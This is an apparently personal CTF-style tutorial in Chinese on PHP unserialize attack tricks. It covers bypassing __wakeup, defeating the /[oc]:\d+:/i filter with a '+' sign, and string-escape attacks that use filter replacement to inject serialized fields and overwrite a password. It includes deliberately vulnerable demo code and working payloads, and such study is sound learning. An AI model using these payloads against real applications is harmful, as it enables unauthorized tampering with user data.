php反序列化姿势学习
- 1.__wakeup()函数绕过
- 2./[oc]:\d+:/i研究
- php反序列化逃逸
- 1.替换后字符串增加
- 2.替换后字符串减少
1.__wakeup()函数绕过
wakeup函数作为php反序列化中的一个函数,也经常被拿来当做考点,比如这样
function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; }
分析:$this->file != 'index.php//如果界面不为index.php
$this->file = ‘index.php’; //界面就强制改为index.php
这对想看flag.php的童鞋就比较为难了。
那怎么绕过呢?
其实当序列化中的属性数大于实际的属性数时,则可跳过wakeup魔术函数执行
什么意思呢?上代码(随便写了一个序列化)
class Student{
public $a=123;
}
$Student=new Student;
$q=serialize($Student);
echo "$q";
这串代码序列化后的值是这样的
O:7:"Student":1:{s:1:"a";i:123;}
我们着重关注从左往右数的第一个1,这个1代表student类的属性个数,这里因为只public一个a参数所以为1。
然后我们把1改为2即可绕过wakeup函数。
2./[oc]:\d+:/i研究
第一次看到这个有点迷糊,以为是啥限制,后来查阅资料了解到
OC:正则表达式
正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、
及这些特定字符的组合,组成一个“规则字符串”,
这个“规则字符串”用来表达对字符串的一种过滤逻辑。
\d+:/i是什么意思呢
\d: 匹配一个数字字符。等价于 [0-9]。+: 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
/i: 表示匹配的时候不区分大小写
所以这个正则表达式就是查看是否有数字。
试试绕过下面的正则表达式
if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
因为反序列化是有数字的,这个该怎么绕过呢?
方法:加一个加号即可
O:+7:"Student":1:{s:1:"a";i:123;}
原因:
https://www.phpbug.cn/archives/32.html
放一个加号可以直接退出序列处理,从而绕过正则匹配。
php反序列化逃逸
首先介绍下与逃逸有关的php反序列化特点:
1.}后的东西不会被解析
例如:
$a='O:7:"Student":1:{s:1:"a";i:123;}12312121';
var_dump(unserialize($a));
这串代码经过反序列化后会变成这样
object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(7) "Student" ["a"]=> int(123) }
其中后面的12312121不会显示
其他的例如不对应会报错,可以随意改值啥的就不说了。
反序列化逃逸怎么来呢?网站一般会在输入框会验证是否输入合法的字符,如果不合法,有些网站可能会把不合法的字符给替换掉,然后把输入的值进行反序列化,这就造成了反序列化逃逸漏洞。
例如:
function filter($str){
$filter='/hack/i';//替换hack成为itiswrongreturn preg_replace($filter, 'itiswrong', $str);
}
class login{public $name='testi';public $password='123456';
}
}
既然说到了替换,那自然有替换后字符串增加和替换后字符串减少的两种情况,其对应的逃逸方法也各不相同
1.替换后字符串增加
我们先构造下图代码来测试(先看懂代码再往下看)
<?php
function filter($str){
$filter='/hack/i';return preg_replace($filter, 'itiswrong', $str);
}
class login{public $name='testi';public $password='123456';
}$login=new login();
$out1=serialize($login);
$res=filter(serialize($login));
echo $out1;
echo "<br />";
echo $res;
echo "<br />";
$qq=unserialize($res);echo "name:";
echo $qq->name;
echo "<br />";
echo "password:";
echo $qq->password;
?>
运行后,name里面未加hack就是第一张图,加了hack就是第二张图
我们不难发现,第二张图替换后长度和字符串不对应,导致后面name和password读不出来,这就是漏洞所在。
我们可以在name这一输入框(假设有,代码里没实现)构造一个特殊的字符串,再使用}把后面的password给弄掉,使之不能读取,就实现了改密码的功能。
话不多说,开干。
由于要替换password,但因为替换前是hack,替换后是itiswrong,多了5个字符,那我们要构造5的倍数的字符串。
";s:8:"password";s:5:"12345";}(长度为30,密码随便改,但要符合替换长度)
30/5=6,所以我们构造6个hack,至此,攻击代码如下
hackhackhackhackhackhacktesti";s:8:"password";s:5:"12345";}
攻击页面:
可以看到,password被替换成12345,成功逃逸!
2.替换后字符串减少
还是使用上面的代码,但是改为由hack替换成no
初始密码由123456改为12345,方便一些
这种该怎么办呢?
由于前面name缩水,在name处进行逃逸已经不行了,所以我们选择在password处进行逃逸。
构造特殊的字符,使name那一栏把password那一栏的值给吃掉,然后在password处构造新密码,最后}结尾,不就逃逸成功了?
话不多说,开干
<?php
function filter($str){
$filter='/hack/i';return preg_replace($filter, 'no', $str);
}
class login{public $name='testi';public $password='12345';
}$login=new login();
$out1=serialize($login);
$res=filter(serialize($login));
echo $out1;
echo "<br />";
echo $res;
echo "<br />";
$qq=unserialize($res);echo "name:";
echo $qq->name;
echo "<br />";
echo "password:";
echo $qq->password;
?>
我们要吞掉了字符串是这些
";s:8:"password";s:5:"12345(总共27)这里注意,往password框中填入逃逸代码后会使原始的5增长到两位数,所以前面吞的数量要加1
hack替换成no总共少2个
所以28/2=14
我们构造14个hack即可
所以最终在name处构造
hackhackhackhackhackhackhackhackhackhackhackhackhackhacktesti
在password处构造
12345";s:8:"password";s:4:"1234";}
构造成功截图(其中灰色代表实际上被吞掉的数量,总共28位)
可以看到密码被改成1234,成功逃逸!
后面学到了再写,待续…